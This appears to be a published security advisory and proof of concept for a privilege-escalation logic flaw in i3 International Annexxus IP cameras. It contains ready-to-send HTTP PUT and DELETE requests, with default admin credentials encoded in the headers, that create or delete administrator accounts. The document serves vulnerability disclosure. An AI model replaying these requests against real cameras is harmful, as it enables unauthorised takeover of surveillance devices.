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i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw
Posted Nov 2, 2021
Authored by LiquidWorm | Site zeroscience.mk

i3 International Annexxus Cameras Ax-n version 5.2.0 does not allow creation of more than one administrator account on the system. This also applies for deletion of the administrative account. The logic behind this restriction can be bypassed by parameter manipulation using dangerous verbs like PUT and DELETE and improper server-side validation. Once a normal account with viewer or operator permissions has been added by the default admin user i3admin, a PUT request can be issued calling the UserPermission endpoint with the ID of created account and set it to admin userType, successfully adding a second administrative account.

tags | exploit
SHA-256 | 3e641781592da07922dd7ee30daf5267b6d7f9b85ed06f3a2968275095a40591

i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw

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i3 International Annexxus Cameras Ax-n 5.2.0 Application Logic Flaw


Vendor: i3 International Inc.
Product web page: https://www.i3international.com
Affected version: V5.2.0 build 150317 (Ax46)
V5.0.9 build 151106 (Ax68)
V5.0.9 build 150615 (Ax78)


Summary: The Annexxus camera 6MP provides 4 simultaneous,
independently controlled digital pan-tilt-zoom (ePTZ) video
streams, which may be recorded or viewed live as well as a
built-in microphone and speaker allowing two way communication.

Desc: The application doesn't allow creation of more than one
administrator account on the system. This also applies for
deletion of the administrative account. The logic behind this
restriction can be bypassed by parameter manipulation using
dangerous verbs like PUT and DELETE and improper server-side
validation. Once a normal account with 'viewer' or 'operator'
permissions has been added by the default admin user 'i3admin',
a PUT request can be issued calling the 'UserPermission' endpoint
with the ID of created account and set it to 'admin' userType,
successfully adding a second administrative account.

Tested on: App-webs/


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2021-5688
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5688.php


27.10.2021

--


Make user ID 3 an Administrator:
--------------------------------

PUT /PSIA/Custom/SelfExt/UserPermission/3 HTTP/1.1
Host: 192.168.1.1
Content-Length: 556
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close

<?xml version='1.0' encoding='utf-8'?><UserPermission><id>3</id><userID>3</userID><userType>admin</userType><remotePermission><playBack>true</playBack><preview>true</preview><record>true</record><ptzControl>true</ptzControl><upgrade>true</upgrade><parameterConfig>true</parameterConfig><restartOrShutdown>true</restartOrShutdown><logOrStateCheck>true</logOrStateCheck><voiceTalk>true</voiceTalk><transParentChannel>true</transParentChannel><contorlLocalOut>true</contorlLocalOut><alarmOutOrUpload>true</alarmOutOrUpload></remotePermission></UserPermission>


HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:13:56 GMT
Server: App-webs/
Connection: close
Content-Length: 238
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Custom/SelfExt/UserPermission/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>



Delete Administrator user ID 3:
-------------------------------

DELETE /PSIA/Security/AAA/users/3 HTTP/1.1
Host: 192.168.1.1
Cache-Control: max-age=0
Accept: */*
X-Requested-With: XMLHttpRequest
If-Modified-Since: 0
Authorization: Basic aTNhZG1pbjppM2FkbWlu
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Origin: http://192.168.1.1
Referer: http://192.168.1.1/doc/setup.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: i3userInfo80=aTNhZG1pbjppM2FkbWlu; i3userName80=i3admin
Connection: close


HTTP/1.1 200 OK
Date: Wed, 27 Oct 2021 14:20:17 GMT
Server: App-webs/
Connection: close
Content-Length: 213
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<ResponseStatus version="1.0" xmlns="urn:psialliance-org">
<requestURL>/PSIA/Security/AAA/users/3</requestURL>
<statusCode>1</statusCode>
<statusString>OK</statusString>
</ResponseStatus>
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